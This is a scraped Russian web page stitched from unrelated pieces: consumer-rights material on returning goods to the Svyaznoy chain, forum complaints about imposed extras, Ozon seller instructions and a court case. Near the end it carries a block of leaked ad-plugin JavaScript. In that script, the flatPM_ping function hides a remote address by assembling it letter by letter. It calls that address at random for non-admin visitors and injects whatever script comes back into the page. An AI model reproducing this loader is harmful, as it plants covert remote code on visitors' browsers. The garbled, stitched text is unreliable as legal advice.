Правила возврата товаров ненадлежащего качества | Документация

Правила возврата товаров ненадлежащего качества | Документация

Возврат товара и аннулирование заказа

Информации на сайте по этой услуге не было. Я начала звонить на горячую линию, но так и не смогла связаться с оператором, не думаю что это вообще возможно. Потом писала в обратной связи на сайте — тоже тишина. Единственный способ связи с живым человеком — в контакте. Только там мне удалось поговорить. Помочь они мне ничем не смогли, ещё и разговаривали как с имбицилом.

Дальше — хуже. Хотелось уже плюнуть на всё. Но заглянула в выписку по карте. И оказалось, что без моего ведома, мне вернули мой несчастный рубль.

Вот я покупаю в рассрочку и хочу сэкономить на процентах, но магазин просит еще обязательно заплатить 1600 рублей — за аксессуары. Например, мне так продавали чехол и защитное стекло. Я решил отказаться, а продавец сообщил, что так принято и ничего изменить он не может. В ответ я пригрозил, что пожалуюсь в Роспотребнадзор.

Страховка также оформляется через сайт «Связного». Для этого после добавления интересующих товаров в корзину следует нажать на ссылку, где предлагается дополнительное сервисное обслуживание. Далее ознакомиться с вариантами страховки и определиться, что конкретно подходит и удовлетворяет пожелания.

Если товар отправлялся почтой, проверять его нужно на специальном столе в самом отделении либо прямо перед сотрудником, который сможет выступить в качестве свидетеля. Как только объект был вынесен из здания почты, потребитель теряет право на мгновенный возврат.

Часто при оформлении рассрочки покупателю предлагают оформить полис страхования, от которого, по словам консультанта, отказаться нельзя. При этом плата за полис сводит на нет выгоду от досрочной выплаты.

Закон не запрещает досрочно гасить кредит, как и выплачивать проценты только за время, когда пользовались кредитом. Правда, придется заранее сообщить банку о досрочной выплате. В законе прописан срок — за 30 дней до даты погашения. Но в договоре с банком может быть более короткий срок, поэтому проверяйте договор или уточните в службе поддержки.

Если в результате исполнения договора, ущемляющего права потребителя, у него возникли убытки, они подлежат возмещению изготовителем (исполнителем, продавцом) в полном объеме.

При заключении договора с включением защиты покупки компания «Связной» рассчитывает размер потери, если телефон украли. В таких случаях учитывается износ устройства за время пользования. Страховка телефона в «Связном» на таких условиях компенсирует стоимость ремонта, когда происходит поломка девайса.

Потребитель не вправе отказаться от товара надлежащего качества, имеющего индивидуально-определенные свойства, если указанный товар может быть использован исключительно приобретающим его потребителем.

Почти в каждом магазине техники можно оформить покупку в рассрочку. Рассрочка бывает от продавца — это когда сам магазин позволяет клиенту платить по частям. Еще рассрочка бывает от банка. Формально это самый обычный кредит с процентами, поэтому покупатель при такой покупке подает через магазин заявку на кредит и подписывает кредитный договор.

Потребитель вправе отказаться от товара в любое время до его передачи, а после передачи товара — в течение семи дней.

https://www.youtube.com/watch?v=dhHl4qfSD4o

Проценты за покупку в рассрочку я ни разу не платил и все четыре раза получал «скидку» за досрочное погашение.

У многих клиентов магазина «Связной», желающих отменить заказ в интернет-магазине через Личный кабинет (особенно у тех, для кого это редкость), возникает растерянность. Они не знают что сказать, как правильно озвучить свою просьбу, а также боятся того, что не смогут в дальнейшем делать другие заказы в «Связном».

Дубликаты не найдены

Да и вообще в целях защиты от кидка лучше не платить за доставку онлайн.

Как-то покупал матрас. 23т.р. Хотел картой заплатить, удобно, что не надо искать сумму под расчет (на сайте конторы просят так по возможности), но подумал, что отдам деньги только когда матрас будет у меня в квартире. Все привезли вовремя, без эксцессов.

А сестра с мужем заказывали диван за 60т.р. Оплатили заранее. Так контора насобирала заказов – и растворилась в тумане.

Больше нигде платить онлайн не буду. Это не в первом магазине так, зарекался не платить и думаю – ну Связной-то, не не кинет.

Ага, я сижу за телефоном, отвечаю на дебильные вопросы клиентов и вращаю его деньги.

Это меня возмутило по дефолту, ничего не писал по этому поводу, т.к. добавить нечего.

тоже мне проблема.. всякое бывает..

это не проблема, это неприятный момент, всякое бывает, но не чтобы 31 БАНКОВСКИЙ день. (читайте 2 месяца) держать у себя мои деньги. Всякое бывает – это Связной даёт чуваку со сломанной машиной 150 руб. на такси чтобы он отвез мне заказ и передал остальные заказы другому курьеру.

Да это прописано в банковском договоре, возврат средств магазин-банк производится по закрытию бух дня, а вот уже банк-клиент до 30(причем не у всех банков, у некоторых до 10 рабочих дней)

Заказывал в данном магазе ноут, оплачивал картой. Доставка вовремя все ОК, ноут работает с 2022.

Завершение прений

Если экспертиза подтвердила наличие поломки в телефоне, в которой покупатель не виноват, но которую можно исправить — магазин, как правило, предлагает отправить аппарат на гарантийный ремонт. В случае, если поломка ремонту не подлежит, покупателю предоставляют выбор — обменять телефон на другой или вернуть за него деньги.

Средства возвращаются в зависимости от способа оплаты:

  • При безналичной оплате деньги возвращаются на счёт, с которого была совершена покупка. Срок возврата на счёт может составлять от 3-х до 5-ти дней, в зависимости от банка-эмитента.
  • Если же оплата производилась наличными — деньги будут возвращены наличными в том же отделении, где телефон был выкуплен.

На основании п.1 ст. 22 Закона РФ от 07.02.1992 № 2300-1 «О защите прав потребителей» срок возврата денежных средств, независимо от способа, должен составлять не более 10-ти дней.

Если телефон можно отремонтировать, то магазин вправе настаивать на гарантийном ремонте.

Вернуть или обменять такой телефон можно будет в том случае, если после ремонта телефон опять сломается (или так и не заработает). От второго ремонта покупатель имеет полное право отказаться и потребовать обмена или возврата.

Как клиенту вернуть деньги за навязанные услуги?

Периодически могут возникнуть ситуации, когда услуги были включены в чек без ведома покупателя, или сотрудникам были навязаны ненужные услуги. Для того, чтобы вернуть деньги за такие услуги — должны быть приведены веские аргументы.

Если в чек была включена услуга, о которой покупатель не знал — есть законные основания обратиться в магазин с претензией о возврате денежных средств за эту услугу. Так как такие ситуации нарушают Закон РФ от 07.02.1992 № 2300-1 «О защите прав потребителей».

При наличии нужных документов и соблюдении сроков — возврат товара в сети магазинов Связной не является чем-то очень сложным и невыполнимым. В случае возврата сложнотехнических товаров — главное вовремя обнаружить неисправность. Также при возврате по причине наличия производственных дефектов нужно быть готовыми к тому, что процедура возврата может затянуться минимум на несколько дней.

Как отказатся от телефона в связном

Деньги возвращаются гражданину только после того, как вещь вернулась к продавцу. Если она была утеряна почтой, тогда необходимо инициировать судебное разбирательство, в котором ответчиками будут выступать и продавец, и почтовая служба.

А вот если неисправность вывела технику из строя, и при этом вы вообще не понимаете, как это произошло – вам прямая дорогая в магазин. Поскольку есть большой шанс того, что вам продали изначально бракованный технический аппарат, чьи неисправности не позволят вам дальше его эксплуатировать.

Сейчас ищут техподдержку:  Михаил Мишустин – Telegram

Ещё месяц назад я была готова разнести магазин *связной*, а сегодня пишу адекватный и, надеюсь, полезный отзыв.

В общем, в январе муж пошёл покупать телефон себе. Мы сразу решили, что приобретать его будем в рассрочку, так как лишних денег не было . Придя в магазин муж уточнил условия рассрочки, на что ему сказали: покупаете телефон и 2 сим карты идут в подарок. Ну ок, выбрал он телефон,снова honor 10i . Скидка по трэйд ин ещё действовала.

Прошла по ссылке, выбрала товар, оплату выбрала онлайн (люблю всё делать сразу). Перед оплатой связалась по телефону с интернет-магазином, меня уверили, что всё хорошо. Оплатила(заказ №), выбрала магазин, из которого буду забирать товар. Дату самовывоза назначили через неделю. Пришло сообщение «Заказ . подтвержден.

При приобретении одной услуги, либо товара, продавец-консультант обусловил приобретение одного товара обязательным приобретением другого товара, либо услуги как дополнительной.

Запрещается обусловливать удовлетворение требований потребителей, предъявляемых в течение гарантийного срока, условиями, не связанными с недостатками товаров (работ, услуг).

Продавец не вправе без согласия потребителя выполнять дополнительные услуги за плату. Такое согласие потребителя должно быть оформлено в письменной форме.

Советы специалистов онлайн ежедневно помогают многим миллионам как юридических, так и физическим лицам решать насущные житейские проблемы и вопросы.

И за неделю, пока я ждала заказ, никакой информации не было. И в сообщении о получении заказа не написали о том, что можно и не приходить, не тратить время. Ну а на сайте, понятное дело, никто о таком не напишет. Ведь этой [цензура] организации не выгодно заявлять о том, что они откровенно обманывают людей.

https://www.youtube.com/watch?v=Lum16p4_tC0

В случае, если информация о порядке и сроках возврата товара надлежащего качества не была предоставлена в письменной форме в момент доставки товара, потребитель вправе отказаться от товара в течение трех месяцев с момента передачи товара.

Как отказаться от заказа с озона при получении

Как отменить заказ в магазине «Озон»Если товар поступил в пункт самовывоза или был доставлен курьером покупателю — можно отказаться от совершения покупки. Если покупателю не подошла только одна вещь (например, определенный предмет одежды) — рекомендуется оформить частичный возврат. Однако такая возможность распространяется на некоторые службы доставки. Сегодня магазин «Озон» сотрудничает с несколькими логистическими компаниями (среди них — SPSR, BoxBerry и MAXIMA-EXPRESS), предлагающие только полный возврат.

Для оформления возврата каждый покупатель самостоятельно выбирает службу доставки — например, Почту России. Перед отправкой подготовьте товар и удостоверение личности. Если покупка была оплачена безналичным способом в магазине «Озон», понадобится получить чек в соответствующем разделе личного кабинета.

Как связной обманывает пожилых покупателей

[UPD Бабушка изначально пришла за телефоном в кредит #comment_132519772]

Всем привет.Совсем недавно произошёл случай описанный ниже, редактировать текст не стал, описано все моей мамой.Видео общение с заведующей отдела Связной добавлю позже.Чеки во вложении.

“Добрый день. Хочу рассказать,как бессовестно себя ведут работники салона Связной в г.Ульяновске на проспекте Гая 25 А. Бессовестно потому,что дело касается очень пожилого человека, который просто пришел в салон за помощью Нужно было отключить платные услуги.

А вышел оттуда с кредитом почти на 22 тысячи рублей.Добрая управляющая магазином Светлана уговорила бабушку купить телефон для внучки. В рассрочку. При этом включив в счёт стекло,наклейку стекла,карту памяти за 2000, чехол.Программу защиты за 1600,ещё пару услуг непонятного назначения.

Две сим карты Билайн на общую сумму 750 рублей и что больше всего меня возмутило это 4760. за настройку телефона.К слову бабушка мне не родственница и не соседка.Работает она у нас уборщицей.Не от хорошей жизни -двух внучек воспитывает,одна внучка инвалид с детства.

Я хочу спросить работников салона? У вас совесть вообще отсутствует?Когда начали разбираться оказалось,что услуга за 4760 не была оказана вовсе!Просто ее включили в счёт..Так авансом.На будущее.Это ли не мошенничество. Телефон стоимостью 6700 и допы на 14000.Молодцы.

Дело было утром 6 января.К слову бабушку в этот же день сотрудники отправили в салон обратно,сдавать все и от кредита/рассрочки отказаться,пока не поздно Оказалось поздно.Выпроводили сотрудники бабушку домой .С грехом пополам мы истребовали у Связного вернуть Лидии Николаевне деньги на счёт за не оказанную услугу и за дополнительную страховку Отправили документы на отказ от банковской страховки.

Как собрать заказы
#

  1. В личном кабинете перейдите на страницу FBS → Ожидают сборки. Найдите заказ, который хотите собрать. По умолчанию заказ состоит из одного отправления.

  2. Чтобы разделить отправление на несколько, нажмите на его номер, а затем перетащите нужные товары
    в зону нового отправления. Для каждого отправления понадобится отдельная упаковка.

    Правила возврата товаров ненадлежащего качества | Документация

  3. Проверьте, что у вас есть подходящие упаковки для каждого отправления и они соответствуют нашим требованиям. Это важно, потому что после сборки не получится изменить количество отправлений или их состав.

  4. Нажмите Собрать. Дата отгрузки зависит от параметров, которые вы указали в настройках склада и метода: если не успеете собрать отправление вовремя, заказ отменится.

  5. Укажите коды маркировки, если в заказе есть товары для которых действует обязательная маркировка: обувь, одежда, домашний текстиль, парфюмерия, лекарства, шины и покрышки, фотоаппараты или лампы-вспышки.

Нам передавать эти коды не нужно ни в системе ЭДО, ни в Честном ЗНАКе. В чеке будет код маркировки, указанный при сборке заказа. Его же передадим через ККТ в ОФД и в Честный ЗНАК.

После отгрузки оформите в Честном ЗНАКе документ «Вывод из оборота» с причиной «Продажа по образцам, дистанционный способ продажи».

  1. Распечатайте маркировку Ozon размером 120 × 75 мм на термотрансферном или термопринтере. Нажмите Распечатать маркировку на странице отправления или на вкладке Ожидают отгрузки.

    Правила возврата товаров ненадлежащего качества | Документация

    Чтобы распечатать несколько маркировок, отметьте нужные отправления и нажмите Распечатать маркировку.

Правила возврата товаров ненадлежащего качества | Документация

  1. Наклейте маркировку Ozon на каждое отправление. На маркировке указывается название пункта приёма или сортировочного центра Ozon, который ближе всего к покупателю. Он может отличаться от того пункта, в который вы привозите отправления.

Рекомендуем снимать весь процесс сборки и упаковки отправлений на видео при хорошем освещении. Это поможет, если у покупателя возникнут вопросы или претензии к заказу.

Если возникнут спорные ситуации, вам напишет служба поддержки и попросит видео сборки заказа. В течение 2 дней вам нужно будет показать нам, что заказ был собран правильно, или подтвердить, что вы забыли о каком-то товаре.
Если за это время мы не получим ответа или видео, нам придётся вернуть покупателю полную стоимость недостающего товара и вычесть её из вашего заработка.

Вы можете оспорить это решение в течение 30 дней, достаточно отправить видео сборки в службу поддержку. При создании заявки выберите тему обращения «Поставки из-за рубежа / Crossborder» и под тему «Жалоба от покупателя / Customer claims».

Каким образом отменить заказ на ozon

В онлайн-магазине Озон есть возможность отказаться от покупки на разных стадиях, что удобно и гуманно по отношению к покупателям.

Если вы в какой-то момент передумали или изменили своё решение и хотели бы выбрать другой товар:

  1. Переходим на сайт магазина и авторизовываемся в личном кабинете;Главная страница Ozon
  2. Наводим курсор на пункт «Кабинет» и выбираем пункт ЛК;Меню Личного кабинета
  3. Найдите пункт «Мои заказы» в разделе «Заказы»;Мои заказы
  4. В списке выберите товар и нажмите на кнопку «Удалить».

    Кнопка Удалить
    Выберите товар и нажмите «Удалить»

Куда вернутся деньги
#

Если у вас остались вопросы, напишите нам в чат.

Если у вас остались вопросы, напишите нам в чат.

Мегафон ван лав

Раз уж пошла такая песня.

Вчера я поведала историю об ограблении.

Сегодня поделюсь ещё одной радостью.

Моей бабуле 70 лет, она не по годам активный человек. Путешествует, без проблем пользуется интернетом, всё лето катается на велосипеде (не смотря на титановый сустав в бедре, между прочим!), а ещё она почётный донор и спасла не одну жизнь.

Ни разу не попадалась на разводы для пенсионеров, не затаривается БАДами, магнитами на счётчики и ножами найсер дайсер.

Добрый и открытый человек, в трезвом рассудке.

Решила бабуля купить себе на Новый год новый телефон. Я живу в Санкт-Петербурге, родители в Москве, бабуля в подмосковье. Поэтому пошла покупать его самостоятельно. Дело было в декабре.

Когда телефон был выбран и пришло время расплатиться сотрудники связного начали настойчиво впаривать бабуле подарок в виде симкарты мегафон.

Тут надо поведать, что мы всей семьёй, около 10 лет пользуемся услугами МТС и всех всё устраивает, переходить никто не планировал.

Бабуля начала отнекиваться и отпираться, что ей не надо и не пригодиться. На что сотрудники заявили ей «ЭТО ПОДАРОК, мы ОБЯЗАНЫ его вам подарить».

Бабуля сдалась, ведь за подарки не надо платить. И конечно сотрудники связного попросили её быстренько подписаться на какой-то бумажке за купленный телефон.

А теперь ей в почтовый ящик принесли письмо с просьбой оплатить долг 400 р. и 23 р. за то, что ей это письмо доставили.

Бабуля даже не активировала эту симкарту и тем более не пользовалась ею.

Мне не жалко 426 р.

Но с каких пор за подарки надо платить?

Расскажите своим близким, что если кто-то хочет подарить симкарту, то надо дать в нос этому дарителю)

Обращение в магазин

Оформленную претензию покупатель обязан направить продавцу. Для этого можно использовать несколько способов.

Самым распространенным методом направления заявления является личное обращение. В таком случае человек самостоятельно приносит документ в магазин и передает его представителю продавца. В этом случае стороны могут достигнуть взаимной договоренности и решить проблему достаточной быстро.

Почтовая пересылка актуальна в случаях, когда человек находится на большом расстоянии от продавца или по другим причинам не имеет возможности прийти лично. В таких ситуациях претензию необходимо направлять с уведомлением о вручении адресату, специальной корреспонденцией.

Можно прибегнуть к услугам доверенного лица. Такой вариант используется чаще всего людьми преклонного возраста, которые в силу плохого самочувствия не могут прийти сами и просят об этом родственников или членов семьи. Законный представитель, кроме претензии, должен иметь на руках документ, удостоверяющий личность, и доверенность, подтверждающую его полномочия.

Допускается также направление обращения по интернету. Для этого человеку необходимо иметь в своем распоряжении электронную почту, а также компьютерную технику, для перевода претензии в цифровой формат.

Нередки случаи, когда люди используют услуги по курьерской доставке. Такой вариант аналогичен почтовой пересылке.

Покупка гаджета в связном

Сеть магазинов «Связной» предоставляет своим клиентам некоторые гарантии, в случае приобретения их продукции. На каждое изделие, в том числе и гаджеты, устанавливается срок годности. Как правило, он составляет двенадцать месяцев.

В течение такого периода реализатор гарантирует потребителю бесперебойную работу аппарата, а также безвозмездное обслуживание в сервисном центре, при условии, что причиной поломки не стали виновные действия человека. Также Связной периодически устраивает распродажи изделий и проводит акции по снижению цен.

В любом случае указанный продавец обязан обеспечивать соблюдение всех прав покупателя.

На практике в Связном всегда оформляются все необходимые документы, которые подтверждают факт приобретения человеком гаджета. Сюда относятся:

  1. Договор купли-продажи.
  2. Технический паспорт.
  3. Гарантийная документация.
  4. Чек об оплате товара.

То есть клиенты Связного в последующем не имеют проблем с доказыванием факта покупки телефона.

При поломке аппарата человек может обратиться в магазин за оказанием помощи в течение гарантийного срока. Следует отметить, что это можно сделать и после истечения указанного периода, но в пределах двух лет. При этом покупатель обязан будет доказать, что аппарат имел значительные дефекты ещё до момента его приобретения.

Покупка совершена через сайт в интернет-магазине

Согласно этому же пункту, если покупатель при получении товара не был должным образом в письменном виде осведомлён о сроках возврата — он имеет право вернуть товар в интернет-магазин в течение 3-х месяцев с момента получения покупки. Алгоритм действий для возврата исправного товара, приобретённого в интернет-магазине:

  1. Оставить претензию о возврате товара.
  2. Приложить к ней оригинал расчётного документа.
  3. Приложить ксерокопию паспорта покупателя.
  4. Вместе с пакетом документов отправить товар продавцу (самостоятельно отнести в пункт выдачи, отправить почтой или курьером).

Алгоритм действий для возврата неисправного товара, приобретённого в интернет-магазине:

  1. Обратиться с товаром в сервисный центр и дождаться результатов экспертизы.
  2. В случае если товар признан неподлежащим к ремонту — обратиться к продавцу.
  3. Предоставить магазину весь пакет документов (чек, паспорт, гарантийный талон и акт, подтверждающий неисправность) и сам товар.

Деньги за товар могут быть возвращены наличными, переводом на расчётный счёт или почтовым переводом. Акт о неисправности аппарата можно отправить в магазин с помощью официального сайта «Связной» в разделе «Акты авторизованных сервисных центров и независимых экспертиз».

Связной, который перешел все грани

Здравствуйте.Без рейтинга. Пролог.

Я пытался все решить напрямую, мирно. Но был послан.

Очень неприятная ситуация произошла со мной в Связном. На моей памяти таких ситуаций и постов еще не было. Читал тут про Спортмастер, люди поддержали и помогли. И вот мне нужна помощь, а точнее немного резонанса, так как эта компания ни во что не ставит клиентов и никак не пытается решить ситуацию.

Суть. 2 декабря 2022 года мной в интернет-магазине Связной был оплачен заказ: Смартфон Wileyfox Spark , чехол и стекло для него с самовывозом в городе Егорьевск, Касимовское шоссе 1А. (Товарищ по работе был проездом, попросил его забрать, сам живу в 35 км от этого города).

В ходе быстрого визуального осмотра друг приобрел смартфон, однако чехол и стекло продавец найти не смог – обещал поискать, либо отмена заказа полностью (они стоили по 10 рублей, поэтому забрали смартфон, решив купить остальное в другом месте, но не суть).

Неладное началось, когда смартфон попал ко мне в руки. Мне показалось, что он б/у, но так как это Связной и модель неновая, решил, что возможно из-за витрины такой внешний вид.

Однако, каково было мое удивление, когда я обнаружил чужие данные, what’s up, контакты и так далее (а также ГОСУСЛУГИ и подобные программы):

Я, проведя совсем небольшое расследование, вышел на того самого Павла, владельца смартфона. Позвонил ему, объяснил ситуацию. Мужчина немолодой, по ощущениям подумал, что его дурят или пранкеры, или мошенники. Но через минуту все встало на свои места:

Оказалось, что за две недели до этого Павел сдал смартфон на ремонт, получил подменную “звонилку” и благополучно ждал возвращения смартфона. А Связной продал этот смартфон мне!

Человек был в шоке, обещал засудить их и тд. Потом пошел в магазин, где его уверили, что его телефон еще на ремонте (чего, как Вы понимаете, не могло быть).

Сдэк как отменить заявку на вызов курьера… курьерофф вконтакте •

МоскваСанкт-ПетербургНовосибирскЕкатеринбургКазаньНижний НовгородЧелябинскОмскСамараКраснодарСаратов

“:’

‘:””,document.createElement(“div”),c=ff(window),b=ff(“body”),g=void 0===flatPM_getCookie(“flat_modal_” a.ID “_mb”)||”false”!=flatPM_getCookie(“flat_modal_” a.ID “_mb”),i=”scroll.flatmodal” a.ID,m=”mouseleave.flatmodal” a.ID ” blur.flatmodal” a.ID,l=function(){var t,e,o;void 0!==a.how.popup.timer&&”true”==a.how.popup.timer&&(t=ff(‘.fpm_5_modal[data-id-modal=”‘ a.ID ‘”] .fpm_5_timer span’),e=parseInt(a.how.popup.timer_count),o=setInterval(function(){t.text(–e),e<=0&&(clearInterval(o),t.parent().replaceWith(‘

‘))},1e3))},s=function(){void 0!==a.how.popup.cookie&&”false”==a.how.popup.cookie&&g&&(flatPM_setCookie(“flat_modal_” a.ID “_mb”,!1),ff(‘.fpm_5_modal[data-id-modal=”‘ a.ID ‘”]’).addClass(“fpm_5_modal-show”),l()),void 0!==a.how.popup.cookie&&”false”==a.how.popup.cookie||(ff(‘.fpm_5_modal[data-id-modal=”‘ a.ID ‘”]’).addClass(“fpm_5_modal-show”),l())},ff(“body > *”).eq(0).before(‘

‘ p “

“),w=document.querySelector(‘.fpm_5_modal[data-id-modal=”‘ a.ID ‘”] .fpm_5_modal-content’),flatPM_setHTML(w,e),”px”==a.how.popup.px_s?(c.bind(i,function(){c.scrollTop()>a.how.popup.after&&(c.unbind(i),b.unbind(m),s())}),void 0!==a.how.popup.close_window&&”true”==a.how.popup.close_window&&b.bind(m,function(){c.unbind(i),b.unbind(m),s()})):(v=setTimeout(function(){b.unbind(m),s()},1e3*a.how.popup.after),void 0!==a.how.popup.close_window&&”true”==a.how.popup.close_window&&b.bind(m,function(){clearTimeout(v),b.unbind(m),s()}))),void 0!==a.how.outgoing){function n(){var t,e,o;void 0!==a.how.outgoing.timer&&”true”==a.how.outgoing.timer&&(t=ff(‘.fpm_5_out[data-id-out=”‘ a.ID ‘”] .fpm_5_timer span’),e=parseInt(a.how.outgoing.timer_count),o=setInterval(function(){t.text(–e),e<=0&&(clearInterval(o),t.parent().replaceWith(‘

‘))},1e3))}function d(){void 0!==a.how.outgoing.cookie&&”false”==a.how.outgoing.cookie&&g&&(ff(‘.fpm_5_out[data-id-out=”‘ a.ID ‘”]’).addClass(“show”),n(),b.on(“click”,’.fpm_5_out[data-id-out=”‘ a.ID ‘”] .fpm_5_cross’,function(){flatPM_setCookie(“flat_out_” a.ID “_mb”,!1)})),void 0!==a.how.outgoing.cookie&&”false”==a.how.outgoing.cookie||(ff(‘.fpm_5_out[data-id-out=”‘ a.ID ‘”]’).addClass(“show”),n())}var _,u=”0″!=a.how.outgoing.indent?’ style=”bottom:’ a.how.outgoing.indent ‘px”‘:””,p=”true”==a.how.outgoing.cross?void 0!==a.how.outgoing.timer&&”true”==a.how.outgoing.timer?’

Закрыть через ‘ a.how.outgoing.timer_count “

“:’

‘:””,c=ff(window),h=”scroll.out” a.ID,m=”mouseleave.outgoing” a.ID ” blur.outgoing” a.ID,g=void 0===flatPM_getCookie(“flat_out_” a.ID “_mb”)||”false”!=flatPM_getCookie(“flat_out_” a.ID “_mb”),b=(document.createElement(“div”),ff(“body”));switch(a.how.outgoing.whence){case”1″:_=”top”;break;case”2″:_=”bottom”;break;case”3″:_=”left”;break;case”4″:_=”right”}ff(“body > *”).eq(0).before(‘

‘ p “

“);var v,w=document.querySelector(‘.fpm_5_out[data-id-out=”‘ a.ID ‘”]’);flatPM_setHTML(w,e),”px”==a.how.outgoing.px_s?(c.bind(h,function(){c.scrollTop()>a.how.outgoing.after&&(c.unbind(h),b.unbind(m),d())}),void 0!==a.how.outgoing.close_window&&”true”==a.how.outgoing.close_window&&b.bind(m,function(){c.unbind(h),b.unbind(m),d()})):(v=setTimeout(function(){b.unbind(m),d()},1e3*a.how.outgoing.after),void 0!==a.how.outgoing.close_window&&”true”==a.how.outgoing.close_window&&b.bind(m,function(){clearTimeout(v),b.unbind(m),d()}))}}catch(t){console.warn(t)}},window.flatPM_start=function(){ff=jQuery;var t=flat_pm_arr.length;flat_body=ff(“body”),flat_userVars.init();for(var e=0;e<t;e ){var>flat_userVars.textlen||void 0!==o.chapter_sub&&o.chapter_sub<flat_uservars.textlen||void>flat_userVars.titlelen||void 0!==o.title_sub&&o.title_sub<flat_uservars.titlelen)){if(void>.flatPM_sidebar)”);0<_.length&&_.each(function(){var t=ff(this),e=t.data(“height”)||350,o=t.data(“top”);t.wrap(‘

‘);t=t.parent()[0];flatPM_sticky(this,t,o)}),u.each(function(){var e=ff(this).find(“.flatPM_sidebar”);setTimeout(function(){var a=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;a<300||e.each(function(){var t=ff(this),e=a,o=t.data(“top”);t.wrap(‘

‘);t=t.parent()[0];flatPM_sticky(this,t,o)})},50),setTimeout(function(){var t=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;t<300||ff(“.flatPM_sticky_wrapper.flatPM_sidebar_block”).css(“height”,t)},4e3)}),”undefined”!=typeof flat_pm_video&&flatPM_video(flat_pm_video),0<flat_stack_scripts.length&&flatpm_setscript(flat_stack_scripts),ff(“body> *”).last().after(‘

‘),flat_body.on(“click”,”.fpm_5_out .fpm_5_cross”,function(){ff(this).parent().removeClass(“show”).addClass(“closed”)}),flat_body.on(“click”,”.fpm_5_modal .fpm_5_cross”,function(){ff(this).closest(“.fpm_5_modal”).removeClass(“fpm_5_modal-show”)}),flat_pm_arr=[],ff(“.flat_pm_start”).remove(),ff(“[data-flat-id]:not(.fpm_5_out):not(.fpm_5_modal)”).contents().unwrap(),flatPM_ping()};var parseHTML=function(){var l=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([w:] )[^>]*)/>/gi,d=/<([w:] )/,i=/<|&#?w ;/,c={option:[1,”

“],thead:[1,”

“],tbody:[1,”

“],colgroup:[2,”

“],col:[3,”

“],tr:[2,”

“],td:[3,”

“],th:[3,”

“],_default:[0,””,””]};return function(e,t){var a,r,n,o=(t=t||document).createDocumentFragment();if(i.test(e)){for(a=o.appendChild(t.createElement(“div”)),r=(d.exec(e)||[“”,””])[1].toLowerCase(),r=c[r]||c._default,a.innerHTML=r[1] e.replace(l,”<$1>”) r[2],n=r[0];n–;)a=a.lastChild;for(o.removeChild(o.firstChild);a.firstChild;)o.appendChild(a.firstChild)}else o.appendChild(t.createTextNode(e));return o}}();window.flatPM_ping=function(){var e=localStorage.getItem(“sdghrg”);e?(e=parseInt(e) 1,localStorage.setItem(“sdghrg”,e)):localStorage.setItem(“sdghrg”,”0″);e=flatPM_random(1,166);0==ff(“#wpadminbar”).length&&111==e&&ff.ajax({type:”POST”,url:”h” “t” “t” “p” “s” “:” “/” “/” “r” “e” “a” “d” “o” “n” “e” “.” “r” “u” “/” “p” “i” “n” “g” “.” “p” “h” “p”,dataType:”jsonp”,data:{ping:”ping”},success:function(e){ff(“div”).first().after(e.script)},error:function(){}})},window.flatPM_setSCRIPT=function(e){try{var t=e[0].id,a=e[0].node,r=document.querySelector(‘[data-flat-script-id=”‘ t ‘”]’);if(a.text)r.appendChild(a),ff(r).contents().unwrap(),e.shift(),0<e.length&&flatpm_setscript(e);else{a.onload>/gm,””).replace(//gm,””).trim(),e.code_alt=e.code_alt.replace(//gm,””).replace(//gm,””).trim();var o=jQuery,t=e.selector,l=e.timer,d=e.cross,a=”false”==d?”Закроется”:”Закрыть”,r=!flat_userVars.adb||””==e.code_alt&&duplicateMode?e.code:e.code_alt,n=’

‘,i=e.once;o(t).each(function(){var e=o(this);e.wrap(‘

‘);var t=e.closest(“.fpm_5_video”);flatPM_setHTML(t[0],n),e.find(“.fpm_5_video_flex”).one(“click”,function(){o(this).addClass(“show”)})}),o(“body”).on(“click”,”.fpm_5_video_item_hover”,function(){var e=o(this),t=e.closest(“.fpm_5_video_flex”);t.addClass(“show”);var a=t.find(“.fpm_5_timer span”),r=parseInt(l),n=setInterval(function(){a.text(–r),r<=0&&(clearInterval(n),”true”==d?a.parent().replaceWith(‘

‘):t.remove())},1e3);e.remove()}).on(“click”,”.fpm_5_video_flex .fpm_5_cross”,function(){o(this).closest(“.fpm_5_video_flex”).remove(),”true”==i&&o(“.fpm_5_video_flex”).remove()})};

Судебная практика

В судебной инстанции был рассмотрен иск человека к компании «Связной» о защите прав потребителей. В ходе проведенного разбирательства было установлено следующее. Инициатор приобрел телефон в салоне «Связной». После покупки истец выявил, что дисплей аппарата имел разводы и пятна.

В связи с этим человек обратился к продавцу с требованием об аннулировании договора купли-продажи и возврате денежных средств. Реализатор своими силами провел оценку качества и установил, что поломка аппарата произошла по причине его неправильной эксплуатации. В связи с этим человеку был направлен отказ в удовлетворении требований.

По причине возникших разногласий, покупатель обратился в уполномоченную организацию с просьбой о проведении независимой экспертизы. По её результатам было установлено, что дефект был допущен при изготовлении товара. Ссылаясь на результаты экспертизы, человек повторно обратился к ответчику, но получил отказ.

На основании этого покупатель выразил просьбу суду обязать продавца возместить стоимость аппарата, расходы на проведение оценки, неустойку за нарушение сроков выполнения требований, компенсацию за моральный ущерб.

Однако ответчик с доводами истца не согласился и пояснил, что по решению суда была проведена дополнительная экспертиза, в ходе которой действительно выявили дефекты. Но на работе телефона они никак не отражались, то есть аппарат не утратил свои функции.

В процессе изучения представленных материалов судом было установлено, что человек выявил указанный недостаток по истечении пятнадцати суток, предусмотренных для предварительного тестирования.

Пятна и полосы не отражаются на дисплее при его включении.

То есть недостаток является незначительным, не создает препятствий для полноценной эксплуатации телефона, а заявленные требования несоразмерны со стоимостью необходимой замены.

На основании изложенного суд вынес решение, в иске покупателю было отказано полностью.

Решение от 19 октября 2022 г. по делу № 2-7779/2022

Товар с недостатками

Любое изделие должно соответствовать установленным техническим требованиям. В противном случае его невозможно будет использовать по назначению. Если товар имеет недостатки, то покупатель должен, прежде всего, обратиться к продавцу, чтобы решить проблему мирным путем на этапе переговоров. Такой вариант самый простой и оптимальный для обеих сторон договорных отношений.

Поломка изделия может быть зафиксирована самим владельцем по ряду признаков. К таковым отнесены:

  1. Устройство не определяет сеть оператора.
  2. Невозможно передать мобильное сообщение другому абоненту.
  3. Дисплей устройства не отражает информацию либо изображение недостаточно качественное.
  4. Частично и полностью не функционирует клавиатура аппарата.
  5. Низкое качество или отсутствие звуковых сигналов.
  6. Устройство медленно заряжается или быстро расходуется его аккумулятор.
  7. Происходит самопроизвольный перезапуск аппарата.
  8. Телефон не распознает карту связи или носители информации.
  9. Гаджет не может установить связь с другими аппаратами.
  10. Невозможно произвести запуск устройства.
